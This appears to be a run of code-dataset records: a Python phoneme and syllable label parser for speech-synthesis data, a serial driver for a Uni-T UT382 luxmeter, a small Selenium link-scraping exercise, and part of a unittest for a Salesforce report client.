w.write(str(len(Start)))\n w.close()\n \n\ndef specail_case_processing(word_list):\n # print(\"\\t\\t\\t specail_case_processing \\t\\t\\t\")\n if \"iht\" in word_list and \"s\" in word_list \\\n and (word_list.index(\"iht\") - word_list.index(\"s\") == -1):\n n = word_list.index(\"iht\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"ihts\")\n ## there's\n if \"dhehr\" in word_list and \"z\" in word_list \\\n and (word_list.index(\"dhehr\") - word_list.index(\"z\") == -1):\n n = word_list.index(\"dhehr\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"dhehrz\") \n if \"ahdher\" in word_list and \"z\" in word_list:\n n = word_list.index(\"ahdher\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"ahdherz\") \n if \"piyehr\" in word_list and \"z\" in word_list:\n n = word_list.index(\"piyehr\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"piyehrz\") \n if \"fihlaxp\" in word_list and \"s\" in word_list:\n n = word_list.index(\"fihlaxp\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"fihlaxps\") \n if \"faadher\" in word_list and \"z\" in word_list:\n n = word_list.index(\"faadher\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"faadherz\") \n if \"dhaet\" in word_list and \"s\" in word_list:\n n = word_list.index(\"dhaet\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"dhaets\") \n if \"leht\" in word_list and \"s\" in word_list:\n n = word_list.index(\"leht\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"lehts\") \n if \"gerl\" in word_list and \"z\" in word_list:\n n = word_list.index(\"gerl\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"gerlz\") \n if \"ay\" in word_list and \"z\" in word_list \\\n and (word_list.index(\"ay\") - word_list.index(\"z\") == -1):\n n = word_list.index(\"ay\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"ayz\") \n if \"layf\" in word_list and \"s\" in word_list:\n n = word_list.index(\"layf\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"layfs\") \n if \"neym\" in word_list and \"z\" in word_list:\n n = word_list.index(\"neym\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"neymz\") \n if \"hhihr\" in word_list and \"z\" in word_list:\n n = word_list.index(\"hhihr\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"hhihrz\") \n if \"hhiy\" in word_list and \"z\" in word_list \\\n and (word_list.index(\"hhiy\") - word_list.index(\"z\") == -1):\n n = word_list.index(\"hhiy\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"hhiyz\") \n if \"maen\" in word_list and \"z\" in word_list:\n n = word_list.index(\"maen\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"maenz\") \n if \"paekerd\" in word_list and \"z\" in word_list:\n n = word_list.index(\"paekerd\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"paekerdz\") \n if \"taxdey\" in word_list and \"z\" in word_list:\n n = word_list.index(\"taxdey\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"taxdeyz\") \n if \"waht\" in word_list and \"s\" in word_list:\n n = word_list.index(\"waht\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"wahts\") \n if \"saeksaxn\" in word_list and \"z\" in word_list:\n n = word_list.index(\"saeksaxn\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"saeksaxnz\") \n if \"hhuw\" in word_list and \"z\" in word_list:\n n = word_list.index(\"hhuw\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"hhuwz\") \n if \"skihper\" in word_list and \"z\" in word_list:\n n = word_list.index(\"skihper\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"skihperz\") \n if \"sehldaxn\" in word_list and \"z\" in word_list:\n n = word_list.index(\"sehldaxn\")\n del word_list[n]\n del word_list[n]\n word_list.insert(n,\"sehldaxnz\") \n \n \n \n return word_list\n \n \n \ndef generate_label_ref(B_LAB,P_LAB): \n # print(\"\\t\\t\\t generate_label_ref \\t\\t\\t\")\n \n syl_start , syl_count , word_start , word_count = [],[],[],[]\n syl_list , word_list = [],[]\n # b3 : the number of phonemes in the current syllable\n # b4 : position of the current syllable in the current word (forward)\n # b5 : position of the current syllable in the current word (backward)\n \n # syl_start + 1 = 行數\n \n i=0\n #print(B_LAB)\n while i < len(B_LAB):\n if (B_LAB[i][3] != 'x'):\n syl_start.append(i)\n syl_count.append(int(B_LAB[i][3]))\n if B_LAB[i][4] == '1':\n word_start.append(i)\n word_count.append(int(B_LAB[i][5]))\n \n i = i + int(B_LAB[i][3]) \n else:\n i = i+1\n \n #print(\"syl_start = \",syl_start)\n #print(\"syl_count = \",syl_count)\n #print(\"word_start = \",word_start)\n #print(\"word_count = \",word_count)\n \n\n for i in range(0,len(syl_start)): \n j=0\n s=\"\"\n while j < syl_count[i]:\n s += P_LAB[ syl_start[i] + j ][3]\n #print(P_LAB[ syl_start[i] + j ][3], end=\"\")\n j=j+1\n syl_list.append(s)\n \n # print(syl_list , len(syl_list)) \n i=0\n k=0\n while i < len(word_count):\n j=0\n s=\"\"\n while j < word_count[i]:\n s += syl_list[k+j]\n j=j+1\n k += j\n word_list.append(s) \n i += 1\n \n # print(word_list , len(word_list)) \n \n \n ##specail case processing \n ## \"It's\"\n \n #word_list_ref = specail_case_processing(word_list)\n word_list_ref = word_list\n \n # syl_sentense = ' '.join(syl_list)\n word_sentense_ref = ' '.join(word_list_ref)\n word_list_ref = word_list_ref\n \n #print(syl_list) \n #print(syl_sentense)\n #print(word_list)\n #print(word_sentense)\n # if DEBUG_MODE == 1:\n # print(\"function : generate_label_ref(B_LAB,P_LAB)\")\n # print(\"word_sentense_ref =\",word_sentense_ref)\n # print(\"word_list_ref =\",word_list_ref)\n \n\n return word_sentense_ref , word_list_ref\n\n \ndef phone_mapping(word_sentense , original_sentense ):\n # print(\"\\t\\t\\t phone_mapping \\t\\t\\t\")\n #print(\"'''''''''''''''''phone_mapping'''''''''''''''''''''''''\")\n word_dict ={}\n original_sentense = original_sentense.replace(\",\",\"\")\n original_sentense = original_sentense.replace(\".\",\"\")\n original_sentense = original_sentense.replace(\";\",\"\")\n original_list = original_sentense.split(\" \")\n word_list = word_sentense.replace(\"ax\",\"ah\").split(\" \")\n\n for i in range(len(word_list)):\n word_dict[word_list[i].upper()] = original_list[i]\n\n \n \n return word_dict\n\ndef comma_phone(sentence):\n # print(\"\\t\\t\\t comma_phone \\t\\t\\t\")\n phone_before_comma = []\n phone_before_period = []\n phone_before_semicolon = []\n phone_after_comma = []\n phone_after_period = [] \n phone_after_semicolon = []\n \n sentence = sentence.replace(\",\",\" ,\")\n sentence = sentence.replace(\".\",\" .\")\n sentence = sentence.replace(\";\",\" ;\")\n sentence_list = sentence.split(\" \")\n\n for i in range(len(sentence_list)):\n if sentence_list[i] == ',':\n phone_before_comma.append(sentence_list[i-1])\n if i != len(sentence_list)-1:\n phone_after_comma.append(sentence_list[i+1])\n if sentence_list[i] == ';':\n phone_before_semicolon.append(sentence_list[i-1])\n if i != len(sentence_list)-1:\n phone_after_semicolon.append(sentence_list[i+1])\n if (sentence_list[i] == '.') :\n phone_before_period.append(sentence_list[i-1])\n if i != len(sentence_list)-1: ## avoid list index out of range\n phone_after_period.append(sentence_list[i+1])\n \n\n \n return phone_before_comma,phone_before_period,phone_before_semicolon,phone_after_comma,phone_after_period,phone_after_semicolon\n \n\n\ndef get_syllable_info(sentense , plabel , word_list_ref , word_sentense):\n # print(\"\\t\\t\\t get_syllable_info \\t\\t\\t\") \n\n # print(\"sentense =\",sentense)\n sentense = sentense.replace(\",\",\"\")\n sentense = sentense.replace(\".\",\"\")\n sentense = sentense.replace(\";\",\"\")\n sentense = sentense.replace(\"-\",\" \")\n sentense = sentense.replace(\"'s\",\" 's\")\n sentense = sentense.replace(\"1908\",\"19 0 8\")\n sentense = sentense.replace(\"29th\",\"29 th\")\n sentense_list = sentense.split(\" \")\n # print(\"sentense_list =\",sentense_list)\n \n #line = 'SHARPLY sh aa1 r p - l iy0'\n\n #coword = re.findall('[A-Z]+' , line)[0]\n #print(coword)\n \n\n text = get_syllable_text() \n \n \n ##get phone_label\n phone_label = []\n for i in range(len(plabel)):\n phone_label.append(plabel[i][3])\n while 'pau' in phone_label:\n phone_label.remove('pau')\n #print('phone_label = ',phone_label , len(phone_label)) \n\n \n ## for worlist ax->ah\n wordlist_tmp = [] \n for item in word_list_ref:\n wordlist_tmp.append(item.replace(\"ax\" , \"ah\"))\n #print('word_list =' ,word_list_ref )\n \n phone_list = []\n syllable_list =[]\n stress_phone = []\n stress_index = []\n word_list = []\n \n \n ##get phone and syllable\n # print(\"wordlist_tmp = \",wordlist_tmp)\n i=0\n for word in sentense_list:\n #print(word) \n line_list = []\n\n \n word = word.upper()\n word_list.append(word.lower())\n cmp = \"\"\n # print(\"word\",word)\n for line in text:\n \n if i == len(wordlist_tmp):\n break\n \n flag = 0\n line_text = line.split(\" \")\n if line.find(word) != -1 and line.startswith(word) and (len(word) == len(line_text[0])):\n \n # print(line)\n #print(line)\n line = line.lstrip(word)\n line = line.strip()\n #print(\"line = \",line)\n cmp = line.replace(\"0\",\"\")\n cmp = cmp.replace(\"1\",\"\")\n cmp = cmp.replace(\"2\",\"\")\n cmp = cmp.replace(\" \", \"\") \n cmp = cmp.replace(\"-\",\"\")\n cmp = cmp.replace(\"ah\",\"ax\")\n cmp = cmp.lower()\n\n # print('cmp =',cmp , wordlist_tmp[i])\n if cmp == wordlist_tmp[i]:\n #print('cmp =',cmp , wordlist_tmp[i])\n i = i+1\n flag = 1\n \n if flag==1:\n line_list = line.split(\" \")\n #print(\"line_list =\",line_list)\n for item in line_list:\n phone_list.append(item)\n syllable_list.append(line_list)\n \n ## rmove '-' in phone_list \n while '-' in phone_list:\n phone_list.remove('-')\n \n #print(\"phone_list =\",phone_list , len(phone_list))\n #print(\"syllable_list =\",syllable_list)\n\n \n\n \n ##get stress info\n for item in phone_list:\n if item.isalpha() != 1:\n ph = re.findall(r\"[a-zA-Z]+\" , item)[0]\n stress = re.findall(r\"\\d+\" , item)[0]\n #print(item , ph , stress)\n stress_phone.append(ph)\n stress_index.append(stress)\n \n #print(\"stress_phone = \",stress_phone , len(stress_phone))\n #print(\"stress_index = \",stress_index , len(stress_index))\n \n \n\n \n \n tmp = []\n tmp1 = deepcopy(syllable_list) \n tmp3 = deepcopy(syllable_list)\n tmp2 = []\n syl_list = []\n word_phone_list=[]\n ph_num_in_word = [] \n ph_num_in_syllable = []\n ##get phone num in syllable\n for item in tmp3: \n if '-' in item:\n item = \"+\".join(item)\n item = item.split(\"-\") \n for element in item:\n b = element.split(\"+\")\n b = list(filter(None, b)) \n ph_num_in_syllable.append(len(b)) \n else:\n ph_num_in_syllable.append(len(item))\n \n #print(\"ph_num_in_syllable =\",ph_num_in_syllable ,len(ph_num_in_syllable))\n \n \n \n ##get phone num in word\n \n for item in tmp1:\n while '-' in item:\n item.remove('-')\n ph_num_in_word.append(len(item))\n\n #print(\"ph_num_in_word =\",ph_num_in_word ,len(ph_num_in_word))\n \n ##sort phone_list\n for i in range(len(phone_list)):\n ph = re.findall(r\"[a-zA-Z]+\" , phone_list[i])[0]\n phone_list[i] = ph\n #print(\"phone_list = \",phone_list)\n \n #print(\"syllable_list = \",syllable_list)\n ##sort syllable_list\n for item in syllable_list:\n tmp.append(\"\".join(item))\n \n #print(\"tmp = \",tmp)\n for item in tmp:\n item = item.replace(\"0\",\"\")\n item = item.replace(\"1\",\"\")\n item = item.replace(\"2\",\"\")\n tmp2.append(item)\n \n for item in tmp2:\n if item.find(\"-\") != -1:\n ch = item.split(\"-\")\n for item2 in ch:\n syl_list.append(item2)\n else:\n syl_list.append(item)\n \n #print(\"syl_list = \",syl_list)\n ## create word_phone_list \n for item in tmp2:\n word_phone_list.append(item.replace('-',''))\n \n \n word_dict = phone_mapping(word_sentense , sentense)\n #print(\"tmp = \" , tmp)\n #print(\"tmp2 = \",tmp2)\n #print(\"syl_list = \",syl_list)\n\n \n #rint(\"syllable_list = \",syl_list)\n # print(\"word_list = \",word_list)\n # print(\"word_phone_list = \",word_phone_list)\n # print(\"ph_num_in_word =\",ph_num_in_word)\n # print(\"'''''''''''''''''end''''''''''''''''''''''\")\n \n return phone_list,syl_list,word_list,word_phone_list,word_dict,stress_phone,stress_index,ph_num_in_word,ph_num_in_syllable\n \n\ndef get_syllable_text():\n # print(\"\\t\\t\\t get_syllable_text \\t\\t\\t\")\n text = []\n f = open('bu_radio_dict_with_syl.txt', 'r+')\n for line in f:\n text.append(line)\n f.close()\n \n return text\n\n\ndef generate_stamp(B_LAB,P_LAB,phone_list,syllable_list,word_phone_list,ph_num_in_word,ph_num_in_syllable):\n\n # print(\"\\t\\t\\t generate_stamp \\t\\t\\t\")\n P_label = []\n pau_index = []\n syl_start_index = []\n word_start_index = []\n \n for item in P_LAB:\n P_label.append(item[3])\n \n ##get pau index\n for i in range(len(P_label)):\n if P_label[i] =='pau':\n pau_index.append(i)\n \n # print(\"pau_index =\",pau_index , len(phone_list))\n ## add PAU element to phone_list\n for i in range(len(pau_index)):\n \n if pau_index[i] == 0:\n phone_list.insert(0,'sil') \n continue\n if pau_index[i] < 3 and (pau_index[i]-pau_index[i-1] == abs(1) ): ## magic number\n phone_list.insert(0,'sil')\n continue\n if pau_index[i] == len(phone_list):\n phone_list.insert(pau_index[i],'sil')\n continue\n phone_list.insert(pau_index[i],'sp')\n #print(len(phone_list))\n \n ## 把index = 1 的 pau 刪掉 \n if phone_list[1] == 'sil':\n del phone_list[1]\n \n\n # print(\"word_phone_list =\",word_phone_list)\n # print(\"syllable_list =\",syllable_list , len(syllable_list))\n # print(\"ph_num_in_syl =\",ph_num_in_syllable ,len(ph_num_in_syllable))\n # print(phone_list)\n # print(ph_num_in_syllable)\n \n i,j,k=0,0,0\n while i < len(phone_list):\n #if phone_list[i] == 'PAU':\n #continue\n ##syllable\n if k < len(word_phone_list):\n if word_phone_list[k].startswith(phone_list[i]) and word_phone_list[k].endswith(phone_list[i+ph_num_in_word[k]-1]):\n word_start_index.append(i)\n k = k+1\n \n if j < len(syllable_list):\n #print(syllable_list[j] , phone_list[i] , phone_list[i+ph_num_in_syllable[j]-1] , ph_num_in_syllable[j])\n if syllable_list[j].startswith(phone_list[i]) and syllable_list[j].endswith(phone_list[i+ph_num_in_syllable[j]-1]) :\n # print(syllable_list[j] , phone_list[i] , phone_list[i+ph_num_in_syllable[j]-1])\n syl_start_index.append(i)\n i += ph_num_in_syllable[j]-1\n j = j+1\n \n i =i+1\n \n \n\n \n \n # print(\"syl_start_index = \" , syl_start_index , len(syl_start_index))\n # print(\"word_start_index = \" , word_start_index)\n # print(\"phone_list =\",phone_list,len(phone_list))\n # print(\"syllable_list =\",syllable_list)\n # print(\"word_phone_list =\",word_phone_list)\n \n\n\n \n \n \n return phone_list , syl_start_index , word_start_index\n\n\nif __name__ == '__main__':\n\n \n \n for dirPath, dirNames, fileNames in os.walk(\"./lab\"):\n arctic_fileName = fileNames\n\n arctic_fileName = arctic_fileName[0:-1]\n \n # print(arctic_fileName)\n for fileNames in arctic_fileName :\n print(\"Generate \" , fileNames.replace(\".lab\" , \".mul\"))\n in_label = fileNames \n sentence_load = load_sentence(in_label)\n #Start,End,P_LAB,A_LAB,B_LAB,C_LAB,D_LAB,E_LAB,F_LAB,G_LAB,H_LAB,I_LAB,J_LAB = load_lab(in_label)\n Start,End,P_LAB,B_LAB,E_LAB = load_lab(in_label) \n word_sentense_ref , word_list_ref = generate_label_ref(B_LAB,P_LAB) \n phone_list , syllable_list ,word_list,word_phone_list,word_dict, stress_phone , stress_class , ph_num_in_word , ph_num_in_syllable \\\n = get_syllable_info(sentence_load , P_LAB , word_list_ref,word_sentense_ref) \n phone_list_pau , syl_start_index , word_start_index = generate_stamp(B_LAB,P_LAB,phone_list,syllable_list,word_phone_list,ph_num_in_word,ph_num_in_syllable) \n phone_before_comma,phone_before_period,phone_before_semicolon,phone_after_comma,phone_after_period,phone_after_semicolon = comma_phone(sentence_load)\n #generate_mul(Start,End,P_LAB,A_LAB,B_LAB,C_LAB,D_LAB,E_LAB,F_LAB,G_LAB,H_LAB,I_LAB,J_LAB,syl_start,word_start,word_dict,word_list,\n # phone_before_comma,phone_before_period,phone_before_semicolon,phone_after_comma,phone_after_period,phone_after_semicolon)\n generate_mul(Start,End,P_LAB,B_LAB,E_LAB,in_label,syl_start_index,word_start_index,word_dict,word_phone_list,syllable_list,stress_phone,stress_class,phone_list_pau,\n phone_before_comma,phone_before_period,phone_before_semicolon,phone_after_comma,phone_after_period,phone_after_semicolon) \n \n\n '''\n \n fileNames = \"cmu_us_arctic_slt_b0449.lab\"\n in_label = fileNames \n sentence_load = load_sentence(in_label)\n print(\"sentence_load =\",sentence_load)\n #Start,End,P_LAB,A_LAB,B_LAB,C_LAB,D_LAB,E_LAB,F_LAB,G_LAB,H_LAB,I_LAB,J_LAB = load_lab(in_label)\n Start,End,P_LAB,B_LAB,E_LAB = load_lab(in_label) \n word_sentense_ref , word_list_ref = generate_label_ref(B_LAB,P_LAB) \n print(\"word_sentense_ref = \",word_sentense_ref)\n print(\"word_list_ref = \",word_list_ref)\n phone_list , syllable_list ,word_list,word_phone_list,word_dict, stress_phone , stress_class , ph_num_in_word , ph_num_in_syllable \\\n = get_syllable_info(sentence_load , P_LAB , word_list_ref,word_sentense_ref) \n print(\"phone_list =\",phone_list,len(phone_list),\" phone\")\n print(\"syllable_list =\",syllable_list,len(syllable_list),\" syllable\")\n print(\"word_list =\",word_list,len(word_list),\" word\")\n print(\"word_phone_list =\",word_phone_list)\n #print(\"word_dict =\",word_dict)\n print(\"stress_phone =\",stress_phone)\n print(\"stress_class =\",stress_class,len(stress_class),\" stress\")\n print(\"ph_num_in_word =\",ph_num_in_word)\n print(\"ph_num_in_syllable =\",ph_num_in_syllable)\n \n phone_list_pau , syl_start_index , word_start_index = generate_stamp(B_LAB,P_LAB,phone_list,syllable_list,word_phone_list,ph_num_in_word,ph_num_in_syllable) \n print(\"phone_list_pau =\",phone_list_pau,len(phone_list_pau),\" phone(pau)\")\n print(\"syl_start_index =\",syl_start_index)\n print(\"word_start_index =\",word_start_index)\n phone_before_comma,phone_before_period,phone_before_semicolon,phone_after_comma,phone_after_period,phone_after_semicolon = comma_phone(sentence_load)\n #generate_mul(Start,End,P_LAB,A_LAB,B_LAB,C_LAB,D_LAB,E_LAB,F_LAB,G_LAB,H_LAB,I_LAB,J_LAB,syl_start,word_start,word_dict,word_list,\n # phone_before_comma,phone_before_period,phone_before_semicolon,phone_after_comma,phone_after_period,phone_after_semicolon)\n generate_mul(Start,End,P_LAB,B_LAB,E_LAB,in_label,syl_start_index,word_start_index,word_dict,word_phone_list,syllable_list,stress_phone,stress_class,phone_list_pau,\n phone_before_comma,phone_before_period,phone_before_semicolon,phone_after_comma,phone_after_period,phone_after_semicolon) \n \n '''\n\n","sub_path":"label_parsor.py","file_name":"label_parsor.py","file_ext":"py","file_size_in_byte":32545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"482821824","text":"#! /usr/bin/env python3\n\nfrom sys import stderr, stdout\n# import copy\n# import time\nfrom argparse import ArgumentParser\nfrom datetime import datetime\n\nfrom serial import Serial\n\nfrom luxmeters import serial_utils\nfrom luxmeters import logs\nfrom luxmeters.ut382 import ut382_utils\n\nbaud = 19200\ntimeout = 0.2\ndefault_timestamp = '%Y-%m-%d %H:%M:%S.%f'\ncom = None\n\n\"\"\"\ntodo:\nautodetect windows and OSX, use better defaults for them\nfigure out how to change settings and download logged data\nport to C/C++ so windows-people don't need python\nbase: https://github.com/parametrek/gm1020/blob/master/ut382.py\n\"\"\"\n\n\ndef init(port):\n global com\n com = Serial(port, baud, timeout=timeout)\n\n\ndef cleanup():\n com.close()\n\n\ndef listen(n=33):\n reply = list(com.read(n))\n if reply and type(reply[0]) == str: # python2\n reply = [ord(n) for n in reply]\n return reply\n\n\ndef decode_lcd_byte(i, b):\n summary = dict()\n for k, v in ut382_utils.lcd_table.items():\n n, mask, lut = v\n if n != i:\n continue\n summary[k] = None\n b2 = mask & b\n if k in ut382_utils.bitwise_fields:\n summary[k] = list()\n for k2, v2 in lut.items():\n if k2 & b2:\n summary[k].append(v2)\n else:\n if b2 in lut:\n summary[k] = lut[b2]\n return summary\n\n\ndef pretty_byte(i, b):\n summary = decode_lcd_byte(i, b)\n print('%2i' % i, '%8s' % str(bin(b)[2:]), '0x%02X' % b, str(summary))\n\n\ndef decode_raw(bs):\n weird = list()\n if len(bs) != 33:\n weird.append('wrong message length %i' % len(bs))\n for i, b in enumerate(bs):\n if i >= 30:\n break\n if b & 0xF0 != 0x30:\n weird.append('bad byte prefix')\n if len(bs) > 30 and bs[30] != 0x0D:\n weird.append('bad byte 30')\n if len(bs) > 31 and bs[31] != 0x0A:\n weird.append('bad byte 31')\n # last byte might be a checksum?\n # usually consistent, sometimes wiggles between two values\n bs2 = list()\n for i in range(1, len(bs), 2):\n if i >= 31:\n break\n bs2.append((bs[i - 1] & 0x0F) | ((bs[i] & 0x0F) * 16))\n if weird:\n stderr.write(str(weird))\n return bs2, bool(weird)\n\n\ndef decode_summary(reply):\n summary = dict()\n for i, b in enumerate(reply):\n summary.update(decode_lcd_byte(i, b))\n return summary\n\n\ndef decode_lux(summary):\n unit = summary['unit']\n digits = [summary['big_1000'], summary['big_100'], summary['big_10'], summary['big_1']]\n if digits == [None, 0, 'L', None]:\n return None, unit\n lux = 0.0\n for i, d in enumerate(reversed(digits)):\n if d is None:\n continue\n lux += d * 10 ** i\n if summary['big_10ths']:\n lux *= 0.1\n if summary['big_100ths']:\n lux *= 0.01\n if summary['big_1000ths']:\n lux *= 0.001\n if summary['x10']:\n lux *= 10\n if not any(summary[d] for d in ['big_10ths', 'big_100ths', 'big_1000ths']):\n lux = int(lux)\n return lux, unit\n\n\ndef live_raw():\n com.timeout = 0.02 # single byte timeout\n # reply = list()\n reply2 = list()\n\n error_countdown = 10\n msg_shown = False\n\n while True:\n reply = listen(1)\n if reply:\n reply2.extend(reply)\n continue\n if not reply2:\n if error_countdown > 0:\n print(\"Waiting for device...\")\n error_countdown -= 1\n\n continue\n else:\n if not msg_shown:\n print(\"Are you sure you enabled USB mode? (Hold menu, click +, 5x menu)\")\n msg_shown = True\n\n continue\n\n yield reply2\n reply2 = list()\n\n\ndef live_sync():\n \"\"\"\n throw away the first partial, then be efficient\n \"\"\"\n err = True\n while True:\n if err: # re-sync\n for bs in live_raw():\n if len(bs) != 33:\n continue\n reply, err = decode_raw(bs)\n if not err:\n yield reply\n com.timeout = timeout\n break\n # this uses 80% less CPU\n bs = listen(33)\n if len(bs) != 33:\n err = True\n continue\n reply, err = decode_raw(bs)\n if err:\n continue\n yield reply\n\n\ndef live_debug_raw():\n for bs in live_raw():\n for i, b in enumerate(bs):\n print('%2i' % i, '%8s' % str(bin(b)[2:]), '0x%02X' % b)\n print()\n\n\ndef live_debug():\n for bs in live_raw():\n reply, err = decode_raw(bs)\n for i, b in enumerate(reply):\n pretty_byte(i, b)\n decode_summary(reply)\n print()\n\n\ndef live_monitor(strftime):\n for reply in live_sync():\n t = datetime.now().strftime(strftime)\n summary = decode_summary(reply)\n if summary['batt']:\n stderr.write('Warning: battery low')\n if summary['menu']:\n continue\n lux, unit = decode_lux(summary)\n yield {'time': t, 'lux': lux, 'unit': unit}\n\n\ndef live_average(strftime, duration):\n samples = duration * 8.0\n history = list()\n for data in live_monitor(strftime):\n if data['lux'] is None:\n continue\n history.append(data['lux'])\n if len(history) < samples:\n continue\n data['ave_lux'] = sum(history) / len(history)\n yield data\n history = list()\n\n\n# TODO: Cleanup this following stuff\ndef build_parser():\n p = ArgumentParser(description='Utility for operating the Uni-T UT382 USB luxmeter.',\n epilog=' \\n'.join((\n 'Todo: program meter settings, start monitor remotely, download logged readings.'\n 'To run --monitor for 12 hours and then automatically stop: '\n '\"timeout -s INT 12h python3 ut382.py --monitor\"',\n )))\n p.add_argument('--port', dest='port', default=False,\n help='Location of serial port')\n p.add_argument('--file', dest='path', default='',\n help='Path to save TSV data to (default: display on stdout)')\n p.add_argument('--monitor', dest='monitor', action='store_true', default=False,\n help='Live samples from the meter. 8 per second. Continues forever until ^C.')\n p.add_argument('--delta', dest='delta', action='store_true', default=False,\n help='Only output data when the measurement changes. Implies --monitor.')\n p.add_argument('--moving-average', dest='moving', default=None, type=int, metavar='N',\n help='Average together the last N seconds for more stable readings. Implies --monitor.')\n dumb_argparse = default_timestamp.replace('%', '%%')\n p.add_argument('--strftime', dest='strftime', default=default_timestamp, metavar='STRFTIME',\n help=' '.join(('Format string for timestamps during live monitoring.',\n 'Visit http://strftime.org/ (default: %s)' % dumb_argparse)))\n return p\n\n\ndef load_options():\n parser = build_parser()\n options = parser.parse_args()\n if options.path == '-':\n options.path = ''\n return options\n\n\ndef core(options):\n redirect = stdout\n old = None\n new = None\n if options.path:\n redirect = open(options.path, 'w', 1)\n\n if options.moving:\n source = live_average(options.strftime, options.moving)\n k = 'ave_lux'\n elif options.monitor or options.delta:\n source = live_monitor(options.strftime)\n k = 'lux'\n if options.monitor or options.moving or options.delta:\n redirect.write('time\\tlight\\tunit\\n')\n for data in source:\n num = '%.2f'\n if data[k] is None:\n continue\n if type(data[k]) == int:\n num = '%i'\n lux = num % data[k]\n new = lux\n if options.delta and new == old:\n continue\n old = new\n redirect.write('\\t'.join([data['time'], lux, data['unit']]) + '\\n')\n\n if options.path:\n redirect.close()\n\n\ndef ut382():\n options = load_options()\n # print(options.port)\n\n if not options.port:\n found_ports = serial_utils.find_all_luxmeters(\"Silicon Labs\") # TODO: Set correct manufacturer name\n\n ports_cnt = len(found_ports)\n if ports_cnt > 1:\n for num, item in enumerate(found_ports):\n logs.logger.info(f\"{num}) {item}\")\n\n ans_serial = input(\"Choose serial port\"\n \"\\ntype x to abort\"\n \"\\nAns: \")\n if ans_serial == 'x':\n return\n elif ans_serial.isdigit() and 0 <= int(ans_serial) < ports_cnt:\n ans_serial = found_ports[ans_serial]\n else:\n logs.logger.error(\"Wrong input.\")\n\n elif len(found_ports) == 1:\n ans_serial = found_ports[0]\n print(f'Found port {ans_serial}')\n else:\n logs.logger.debug(\"No luxmeters found!\")\n return\n\n options.monitor = True\n options.delta = True\n options.moving = 2\n\n options.port = ans_serial\n\n init(options.port)\n\n try:\n # live_debug_raw()\n # live_debug()\n core(options)\n except KeyboardInterrupt:\n pass\n except Exception:\n cleanup()\n raise\n\n cleanup()\n\n\nif __name__ == \"__main__\":\n ut382()\n","sub_path":"luxmeters/ut382/ut382.py","file_name":"ut382.py","file_ext":"py","file_size_in_byte":9562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"487102150","text":"from selenium.webdriver import Firefox\nfrom urllib.parse import urlparse\nfrom time import sleep\nfrom pprint import pprint\n\nbrowser = Firefox()\n\nbrowser.get(\"http://selenium.dunossauro.live/aula_04.html\")\n\n\ndef get_links(browser, elemento):\n resultado = {}\n elemento = browser.find_element_by_tag_name(elemento)\n ancoras = elemento.find_elements_by_tag_name('a')\n\n for ancora in ancoras:\n resultado[ancora.text] = ancora.get_attribute('href')\n\n return resultado\n\nsleep(2)\n\naulas = get_links(browser, 'aside')\npprint(aulas)\n\n\nexercicio = get_links(browser, 'main')\npprint(exercicio)\n\nbrowser.get(exercicio['Exercício 3'])","sub_path":"Eduardo-Mendes/aula-04/aula_04_05.py","file_name":"aula_04_05.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"312258959","text":"import os\nimport sys\nimport unittest\n\nfrom unittest.mock import patch\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\")))\n\nfrom utils import mocks # noqa: E402\nfrom reportforce import Reportforce # noqa: E402\n\nmock_report = mocks.get_json(\"analytics_tabular\")\n\n\nclass TestFiltersSetters(unittest.TestCase):\n\n maxdiff = None\n\n @classmethod\n @patch.object(Reportforce.session, \"post\")\n def setUpClass(cls, post):\n mocks.mock_login().start()\n mocks.mock_get_metadata(\"analytics_tabular_metadata\").start()\n\n post().json.return_value = mock_report\n\n cls.rf = Reportforce(\"foo@bar.com\", \"1234\", \"XXX\")\n\n cls.rf.get_report(\n \"00O1a0000093ga\",\n filters=[(\"Opportunity Name\", \"!=\", \"VALUE\")],\n logic=\"1 AND 2\",\n id_column=\"Opportunity Name\",\n start=\"01-01-2020\",\n end=\"2020-01-31\",\n date_column=\"Fiscal Period\"\n )\n\n def test_logic(self):\n test = self.rf.metadata[\"reportMetadata\"][\"reportBooleanFilter\"]\n expected = \"1 AND 2 AND 3\"\n self.assertEqual(test, expected)\n\n def test_date_filter(self):\n test = self.rf.metadata[\"reportMetadata\"][\"standardDateFilter\"]\n expected = {\n \"column\": \"FISCAL_QUARTER\",\n \"durationValue\": \"CUSTOM\",\n \"startDate\": \"2020-01-01\",\n \"endDate\": \"2020-01-31\",\n }\n self.assertDictEqual(test, expected)\n\n def test_report_filters(self):\n test = self.rf.metadata[\"reportMetadata\"][\"reportFilters\"]\n expected = [\n {\n \"column\": \"column\",\n \"filterType\": \"filterType\",\n \"isRunPageEditable\": True,\n \"operator\": \"operator\",\n \"value\": \"value\",\n },\n {\"column\": \"OPPORTUNITY_NAME\", \"operator\": \"notEqual\", \"value\": \"VALUE\"},\n {\"column\": \"OPPORTUNITY_NAME\", \"operator\": \"notEqual\", \"value\": \"Acme - 200 Widgets\"},\n ]\n self.assertEqual(test, expected)\n\n\nif 